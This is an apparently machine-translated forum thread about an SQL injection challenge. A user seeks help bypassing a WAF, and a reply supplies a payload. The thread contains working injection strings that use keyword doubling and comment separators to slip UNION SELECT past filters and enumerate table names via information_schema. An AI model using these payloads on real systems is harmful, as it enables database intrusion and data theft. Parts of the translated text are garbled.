Mysql 无法解决SQL注入WAF保护问题

嗨，伙计们，我必须做一个SQL注入，我无法解决

我确实成功地将其注入，但没有得到表或列

这就是挑战：

这是注射：

http://root0x00.altervista.org/sqli/level1.php?id=1%27and/**/1=2/**/uniunionon/**/selselectect/**/1,2,3,4,5%27

（在

/

中，我放了两个星号，但网站阻止了它）

我花了很多时间来解决这个问题。请问有没有冠军能帮我

感谢

'and（false）uniUNIONon//Selectect//1,2,3,4，group_concat（表名）//from//information_schema.tables//where//table_schema=database（）和'zix'='zix' 这是另一个论坛的答案：）如果有人也在寻找。

---

还记得在sql注入中添加了两个astreik between/

只有一个解决方案-使用参数化查询。我做了几个小时的尝试，但没有成功，你有解决方案吗？StackOverflow并不是为了解决你的家庭作业。这个问题的答案不会帮助其他人。老兄，我明白了，但也许会？我只是在寻找这个挑战的答案，我确信有人会或曾经试图找到一些答案。